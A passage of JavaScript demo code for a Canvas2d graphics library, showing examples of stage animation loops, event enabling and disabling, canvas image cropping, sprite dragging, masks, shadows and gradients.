function click(e){
switch(e.target.name){
case 'plus':
n = n === 20000 ? 20000 : n + 1000;
for(i = sprite.children.length-1; i > -1; i--){
sprite.remove(sprite.children[i]);
}
start = (new Date()).getTime();
placeElements(n, sprite);
stage.draw();
stop = (new Date()).getTime();
label.txt = 'Number of Elemenets: ' + n + ' Time Elapsed: ' + (stop - start) + ' Mls';
label.parent.draw();
break;
case 'minus':
n = n === 1000 ? 1000 : n - 1000;
for(i = sprite.children.length-1; i > -1; i--){
sprite.remove(sprite.children[i]);
}
start = (new Date()).getTime();
placeElements(n, sprite);
stage.draw();
stop = (new Date()).getTime();
label.txt = 'Number of Elemenets: ' + n + ' Time Elapsed: ' + (stop - start) + ' Mls';
label.parent.draw();
break;
default:
break;
}
}
}
},
start: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 140;
start.y = 40;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 70;
sprite.add(rect);
sprite.add(start);
sprite.add(stop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
} else {
stage.stop();
}
}
},
stop: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 140;
start.y = 40;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 70;
sprite.add(rect);
sprite.add(start);
sprite.add(stop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
} else {
stage.stop();
}
}
},
reset: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 140;
start.y = 70;
var frames = start.clone('frames');
frames.txt = 'Current Frame Elapsed: ';
frames.y = 10;
var times = start.clone('times');
times.txt = 'Current Time Elapsed: ';
times.y = 40;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 100;
var reset = start.clone('reset');
reset.txt = 'Reset';
reset.y = 130;
start.x = stop.x = reset.x = 20;
sprite.add(rect);
sprite.add(times);
sprite.add(frames);
sprite.add(reset);
sprite.add(start);
sprite.add(stop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
frames.txt = 'Current Frame Elapsed: ' + stage.getFrame();
times.txt = 'Current Time Elapsed: ' + stage.getTime() + 'Mls';
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
} else if (e.target.name === 'stop') {
stage.stop();
} else {
stage.reset();
frames.txt = 'Current Frame Elapsed: ' + stage.getFrame();
times.txt = 'Current Time Elapsed: ' + stage.getTime() + 'Mls';
stage.draw();
}
}
},
addLoop: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 20;
start.y = 70;
var looplist = start.clone('looplist');
looplist.txt = 'Number of Element in the Loop List Array: ';
looplist.y = 10;
looplist.x = 140;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 100;
var addloop = start.clone('addloop');
addloop.txt = 'Add Loop';
addloop.y = 130;
var removeloop = start.clone('removeloop');
removeloop.txt = 'Remove Loop';
removeloop.y = 160;
sprite.add(rect);
sprite.add(looplist);
sprite.add(start);
sprite.add(stop);
sprite.add(addloop);
sprite.add(removeloop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'stop') {
stage.stop();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'addloop') {
stage.addLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'removeloop') {
stage.removeLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else {
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
}
}
},
removeLoop: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 20;
start.y = 70;
var looplist = start.clone('looplist');
looplist.txt = 'Number of Element in the Loop List Array: ';
looplist.y = 10;
looplist.x = 140;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 100;
var addloop = start.clone('addloop');
addloop.txt = 'Add Loop';
addloop.y = 130;
var removeloop = start.clone('removeloop');
removeloop.txt = 'Remove Loop';
removeloop.y = 160;
sprite.add(rect);
sprite.add(looplist);
sprite.add(start);
sprite.add(stop);
sprite.add(addloop);
sprite.add(removeloop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'stop') {
stage.stop();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'addloop') {
stage.addLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'removeloop') {
stage.removeLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else {
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
}
}
},
enableEvt: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var sprite = new Canvas2d.Sprite('main');
var disable = new Canvas2d.DisplayObjects('disable');
disable.text('Disable', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
disable.x = 20;
disable.y = 70;
var label = disable.clone('label');
label.align = 'center';
label.txt = 'All the Event Listeners of Stage are Disabled';
label.x = stage.width / 2;
label.y = stage.height / 2;
disable.addEvent('click', endisAble);
disable.addEvent('mouseover', mOver);
disable.addEvent('mouseout', mOut);
sprite.add(disable);
sprite.add(label);
stage.add(sprite);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function endisAble(e) {
label.txt = 'All the Event Listeners of Stage are Disabled';
stage.reset();
stage.addLoop(sprite, loop);
stage.disableEvt();
mOut(e);
}
function loop() {
disable.txt = 'All Event Listeners Abled in: ' + (4000 - stage.getTime()) + 'Mls';
if (stage.getTime() > 4000) {
stage.removeLoop(sprite, loop);
label.txt = 'Now all the Event Listener of Stage are Abled, click on Disable';
disable.txt = 'Disable';
stage.enableEvt();
}
stage.draw();
}
stage.reset();
stage.addLoop(sprite, loop);
},
disableEvt: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var sprite = new Canvas2d.Sprite('main');
var disable = new Canvas2d.DisplayObjects('disable');
disable.text('Disable', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
disable.x = 20;
disable.y = 70;
var label = disable.clone('label');
label.align = 'center';
label.txt = 'All the Event Listeners of Stage are Disabled';
label.x = stage.width / 2;
label.y = stage.height / 2;
disable.addEvent('click', endisAble);
disable.addEvent('mouseover', mOver);
disable.addEvent('mouseout', mOut);
sprite.add(disable);
sprite.add(label);
stage.add(sprite);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function endisAble(e) {
label.txt = 'All the Event Listeners of Stage are Disabled';
stage.reset();
stage.addLoop(sprite, loop);
stage.disableEvt();
mOut(e);
}
function loop() {
disable.txt = 'All Event Listeners Abled in: ' + (4000 - stage.getTime()) + 'Mls';
if (stage.getTime() > 4000) {
stage.removeLoop(sprite, loop);
label.txt = 'Now all the Event Listener of Stage are Abled, click on Disable';
disable.txt = 'Disable';
stage.enableEvt();
}
stage.draw();
}
stage.reset();
stage.addLoop(sprite, loop);
},
getLoopList: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 20;
start.y = 70;
var looplist = start.clone('looplist');
looplist.txt = 'Number of Element in the Loop List Array: ';
looplist.y = 10;
looplist.x = 140;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 100;
var addloop = start.clone('addloop');
addloop.txt = 'Add Loop';
addloop.y = 130;
var removeloop = start.clone('removeloop');
removeloop.txt = 'Remove Loop';
removeloop.y = 160;
sprite.add(rect);
sprite.add(looplist);
sprite.add(start);
sprite.add(stop);
sprite.add(addloop);
sprite.add(removeloop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'stop') {
stage.stop();
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'addloop') {
stage.addLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else if (e.target.name === 'removeloop') {
stage.removeLoop(sprite, loop);
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
} else {
looplist.txt = 'Number of Element in the Loop List Array: ' + stage.getLoopList().length;
stage.draw();
}
}
},
isAnimating: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
start.x = 20;
start.y = 70;
var animating = start.clone('animating');
animating.txt = 'Animation: ';
animating.y = 10;
animating.x = 140;
start.addEvent('click', resume);
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
var stop = start.clone('stop');
stop.txt = 'Stop';
stop.y = 100;
sprite.add(rect);
sprite.add(animating);
sprite.add(start);
sprite.add(stop);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
animating.txt = 'Animation: ' + stage.isAnimating();
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function resume(e) {
if (e.target.name === 'start') {
stage.start();
animating.txt = 'Animation: ' + stage.isAnimating();
stage.draw();
} else if (e.target.name === 'stop') {
stage.stop();
animating.txt = 'Animation: ' + stage.isAnimating();
stage.draw();
}
}
},
getDataURL: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var source = new Canvas2d.Sprite('source');
var destination = new Canvas2d.Sprite('destination', false);
var x1, x2, y1, y2, rect, n = 10, sourceimage, crop = {dx: 0, dy: 0, dw: 0, dh: 0};
var image = new Canvas2d.DisplayObjects('image', false);
image.img(0, 0, null, false, null, 0, 0, crop);
destination.add(image);
for (var i = 0; i < n; i++) {
rect = new Canvas2d.DisplayObjects('rect', false);
rect.rect(-50, -50, 100, 100, Colors.RandomRgb());
rect.x = 200 + Math.random() * 300;
rect.y = 100 + Math.random() * 100;
sprite.add(rect);
}
var background = new Canvas2d.DisplayObjects('background');
background.rect(0, 0, source.width, source.height, 'black');
background.alpha = 0;
source.add(background);
var sourcerect = new Canvas2d.DisplayObjects('sourcerect', false);
sourcerect.rect(0, 0, 0, 0, null, 'black', 2);
source.add(sourcerect);
source.addEvent('dragstart', dragStart);
source.addEvent('drag', drag);
source.addEvent('dragstop', dragStop);
destination.x = stage.width / 2;
var description = new Canvas2d.DisplayObjects('description', false);
description.text('Drag the Mouse and Draw a Rect', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
description.x = 20;
description.y = 20;
source.add(description);
stage.add(sprite);
stage.add(destination);
stage.add(source);
stage.draw();
function dragStart(e) {
x1 = e.mouse.x;
y1 = e.mouse.y;
sourcerect.x = x1;
sourcerect.y = y1;
}
function drag(e) {
sourcerect.width = e.mouse.x - x1;
sourcerect.height = e.mouse.y - y1;
e.target.draw();
}
function dragStop(e) {
x2 = e.mouse.x;
y2 = e.mouse.y;
crop = {dx: Math.min(x1, x2), dy: Math.min(y1, y2), dw: Math.max(x1, x2) - Math.min(x1, x2), dh: Math.max(y1, y2) - Math.min(y1, y2)};
sourceimage = stage.getDataURL('image/png', 8);
placeImg(sourceimage, crop);
}
function placeImg(img, crop) {
image.setCrop(crop);
image.loadImage(img, null, onComplete, false);
}
function onComplete() {
destination.draw();
image.x = 10;
image.y = stage.height / 2 - image.height / 2;
destination.draw();
}
},
resize: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var sprite = new Canvas2d.Sprite('main');
var disable = new Canvas2d.DisplayObjects('disable');
disable.text('Disable', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
disable.x = 20;
disable.y = 70;
var label = disable.clone('label');
label.align = 'center';
label.txt = 'All the Event Listeners of Stage are Disabled';
label.x = stage.width / 2;
label.y = stage.height / 2;
disable.addEvent('click', endisAble);
disable.addEvent('mouseover', mOver);
disable.addEvent('mouseout', mOut);
sprite.add(disable);
sprite.add(label);
stage.add(sprite);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightsteelblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function endisAble(e) {
}
}
},
Sprite: {
examples: {
dragDrop: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var row = 0;
var col = 0;
for (var i = 0; i < 20; i++) {
var rect = new Canvas2d.DisplayObjects('rect_0');
rect.rect(0, 0, 50, 50, 'lightseagreen', 'lightblue', 4);
rect.x = 50 * row + (row * rect.width) + 50;
rect.y = 20 * col + (col * rect.height) + 20;
row++;
if (row === 5) {
row = 0;
col++;
}
rect.addEvent('dragstart', dStart);
rect.addEvent('drag', dDrag);
rect.addEvent('dragstop', dStop);
rect.addEvent('mouseover', mOver);
rect.addEvent('mouseout', mOut);
sprite.add(rect);
}
function dStart(e) {
e.target.zOrder('top');
e.target.lineWidth = 8;
e.target.parent.draw();
}
function dDrag(e) {
e.target.x = e.mouse.ox;
e.target.y = e.mouse.oy;
e.target.parent.draw();
}
function dStop(e) {
e.target.lineWidth = 4;
e.target.parent.draw();
}
function mOver() {
stage.container.style.cursor = 'pointer';
}
function mOut() {
stage.container.style.cursor = 'default';
}
stage.add(sprite);
stage.draw();
},
events: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var label = new Canvas2d.DisplayObjects('label_0');
label.text('', 0, 0, 'normal', 14, 'Helvetica',
'black', null, 'start', 'middle');
var labelg = new Canvas2d.DisplayObjects('label_0');
labelg.text('Global Coord', 0, -1, 'normal', 16, 'Tahoma',
'gray', null, 'start', 'top');
var row = 0;
var col = 0;
for (var i = 0; i < 20; i++) {
var rect = new Canvas2d.DisplayObjects('rect_0');
rect.rect(0, 0, 50, 50, 'lightseagreen', 'lightblue', 4);
rect.x = 50 * row + (row * rect.width) + 50;
rect.y = 20 * col + (col * rect.height) + 20;
row++;
if (row === 5) {
row = 0;
col++;
}
rect.addEvent('mousedown', mDown);
rect.addEvent('mouseup', mUp);
rect.addEvent('click', clicked);
rect.addEvent('mouseover', mOver);
rect.addEvent('mouseout', mOut);
rect.addEvent('mousemove', mMove);
sprite.add(rect);
}
function provastart(e) {
e.target.lineWidth = 8;
e.target.parent.draw();
}
function provaend(e) {
e.target.lineWidth = 4;
e.target.parent.draw();
}
function provamove(e) {
labelg.txt = 'Global Coord x: ' + (e.mouse.x).toString() +
' y: ' + (e.mouse.y).toString();
label.txt = 'Local Coord x: ' +
Math.round(e.mouse.ox - e.target.x).toString() +
' y: ' + Math.round(e.mouse.oy - e.target.y).toString();
label.x = e.target.x + e.target.width / 2 - label.width / 2;
label.y = e.target.y + e.target.height + 8;
sprite.draw();
}
function mDown(e) {
e.target.lineWidth = 8;
e.target.parent.draw();
}
function mUp(e) {
e.target.lineWidth = 4;
e.target.parent.draw();
}
function clicked(e) {
var color = e.target.getColor('name') === 'lightseagreen' ?
'deepskyblue' : 'lightseagreen';
e.target.color = color;
e.target.parent.draw();
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
}
function mOut(e) {
stage.container.style.cursor = 'default';
}
function mMove(e) {
labelg.txt = 'Global Coord x: ' + (e.mouse.x).toString() +
' y: ' + (e.mouse.y).toString();
label.txt = 'Local Coord x: ' +
Math.round(e.mouse.ox - e.target.x).toString() +
' y: ' + Math.round(e.mouse.oy - e.target.y).toString();
label.x = e.target.x + e.target.width / 2 - label.width / 2;
label.y = e.target.y + e.target.height + 8;
sprite.draw();
}
sprite.add(labelg);
sprite.add(label);
stage.add(sprite);
stage.draw();
}
}
},
DisplayObjects: {
examples: {
mask: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var shapes = new Canvas2d.Sprite('shapes_container');
var mask = new Canvas2d.DisplayObjects('circle');
var rect = new Canvas2d.DisplayObjects('rect');
var element, sprite, stepw = 0, steph = 0;
mask.circle(0, 0, 100, 0, Math.PI * 2);
mask.x = 150;
mask.y = 100;
mask.mask = true;
rect.rect(0, 0, 100, 100, Colors.RandomRgb());
for (var i = 0; i < 6; i++) {
element = rect.clone('rect' + i);
element.color = Colors.RandomRgb();
element.x = (rect.width * stepw);
element.y = (rect.height * steph);
element.alpha = 0.5;
shapes.add(element);
stepw++;
stepw = stepw === 3 ? 0 : stepw;
steph = i === 2 ? 1 : steph;
}
stage.add(shapes);
sprite = shapes.clone('mask_shapes');
sprite.y = stage.height / 4;
sprite.x = 100;
shapes.y = sprite.y;
shapes.x = stage.width / 1.5;
sprite.add(mask);
mask.zOrder('bottom');
stage.add(sprite);
stage.draw();
},
shadow: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var rectFill = new Canvas2d.DisplayObjects();
var rectLine = new Canvas2d.DisplayObjects();
var circFill = new Canvas2d.DisplayObjects();
var circLine = new Canvas2d.DisplayObjects();
var rectFillLine = new Canvas2d.DisplayObjects();
rectFill.rect(-50, -50, 100, 100, 'lightblue');
rectLine.rect(-50, -50, 100, 100, null, 'lightblue', 4);
circFill.circle(0, 0, 50, 0, Math.PI * 2, 'lightseagreen');
circLine.circle(0, 0, 50, 0, Math.PI * 2, null, 'lightseagreen', 4);
rectFill.shadow = circFill.shadow = {'color': 'grey', 'offsetX': 10, 'offsetY': 10, 'blur': 10};
rectLine.lineShadow = circLine.lineShadow = {'color': 'grey', 'offsetX': 10, 'offsetY': 10, 'blur': 10};
rectFillLine.rect(-50, -50, 100, 100, 'lightseagreen', 'lightblue', 4);
rectFillLine.shadow = {'color': 'dimgray', 'offsetX': 10, 'offsetY': 10, 'blur': 10};
rectFillLine.lineShadow = {'color': 'grey', 'offsetX': 10, 'offsetY': 10, 'blur': 10};
sprite.add(rectFillLine);
sprite.add(rectFill);
sprite.add(rectLine);
sprite.add(circFill);
sprite.add(circLine);
for (var i = 0; i < sprite.children.length; i++) {
sprite.children[i].x = ((stage.width / sprite.children.length) * i) + 100;
sprite.children[i].y = stage.height / 2;
}
stage.add(sprite);
stage.draw();
},
shadowAnim: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h), r, a;
var sprite = new Canvas2d.Sprite('sprite_0', false);
var circFill = new Canvas2d.DisplayObjects();
circFill.circle(0, 0, 50, 0, Math.PI * 2, 'lightseagreen');
circFill.shadow = {'color': 'grey', 'offsetX': 0, 'offsetY': 0, 'blur': 0};
circFill.x = stage.width / 2;
circFill.y = stage.height / 2;
sprite.add(circFill);
stage.add(sprite);
stage.draw();
stage.addEvent('mousemove', mMove);
function mMove(e) {
r = Math.sqrt(Math.pow(e.mouse.y - circFill.y, 2) + Math.pow(e.mouse.x - circFill.x, 2));
a = Math.atan2(e.mouse.y - circFill.y, e.mouse.x - circFill.x);
circFill.shadow.offsetX = (Math.cos(a) * ((r / (stage.width / 2)) * 300));
circFill.shadow.offsetY = (Math.sin(a) * ((r / (stage.height / 2)) * 300));
circFill.shadow.blur = (r / (stage.width / 2)) * 80;
circFill.radius = Math.max(50, (r / (stage.width / 2)) * 200);
sprite.draw();
}
},
gradient: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var w = 100, h = 100, rect;
var gradObj_0 = {'color': ['blue', 'green'],
'offset': [0, 1],
'coord': {'x0': 0, 'y0': 0, 'x1': w, 'y1': 0}, 'type': 'linear'};
var gradObj_1 = {'color': ['blue', 'green', 'red'],
'offset': [0, 0.5, 1],
'coord': {'x0': 0, 'y0': 0, 'x1': w, 'y1': 0}, 'type': 'linear'};
var gradObj_2 = {'color': ['hsla(0,100%,50%,1)', 'hsla(0,100%,50%,0)'],
'offset': [0, 1],
'coord': {'x0': 0, 'y0': 0, 'x1': w, 'y1': 0}, 'type': 'linear'};
var gradObj_3 = {'color': ['hsla(0,100%,50%,1)', 'hsla(0,100%,50%,0)',
'hsla(0,100%,50%,1)'],
'offset': [0, 0.5, 1],
'coord': {'x0': 0, 'y0': 0, 'x1': w, 'y1': 0}, 'type': 'linear'};
var gradLinearArray = [gradObj_0, gradObj_1, gradObj_2, gradObj_3];
for (var i = 0; i < gradLinearArray.length; i++) {
rect = new Canvas2d.DisplayObjects();
rect.rect(0, 0, w, h);
rect.gradient = gradLinearArray[i];
rect.x = 50 + (100 * i) + (20 * i);
rect.y = 50;
sprite.add(rect);
}
var gradObj_4 = {'color': ['blue', 'green'],
'offset': [0, 1],
'coord': {'x0': 0, 'y0': 0, 'r0': 0, 'x1': 0, 'y1': 0, 'r1': w},
'type': 'radial'};
var gradObj_5 = {'color': ['blue', 'green', 'red'],
'offset': [0, 0.5, 1],
'coord': {'x0': 0, 'y0': 0, 'r0': 0, 'x1': 0, 'y1': 0, 'r1': w},
'type': 'radial'};
var gradObj_6 = {'color': ['hsla(0,100%,50%,1)', 'hsla(0,100%,50%,0)'],
'offset': [0, 1],
'coord': {'x0': 0, 'y0': 0, 'r0': 0, 'x1': 0, 'y1': 0, 'r1': w},
'type': 'radial'};
var gradObj_7 = {'color': ['hsla(0,100%,50%,1)', 'hsla(0,100%,50%,0)',
'hsla(0,100%,50%,1)'],
'offset': [0, 0.5, 1],
'coord': {'x0': 0, 'y0': 0, 'r0': 0, 'x1': 0, 'y1': 0, 'r1': w},
'type': 'radial'};
var gradRadialArray = [gradObj_4, gradObj_5, gradObj_6, gradObj_7];
for (var i = 0; i < gradRadialArray.length; i++) {
rect = new Canvas2d.DisplayObjects();
rect.rect(0, 0, w, h);
rect.gradient = gradRadialArray[i];
rect.x = 50 + (100 * i) + (20 * i);
rect.y = 170;
sprite.add(rect);
}
stage.add(sprite);
stage.draw();
},
gradientChart: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
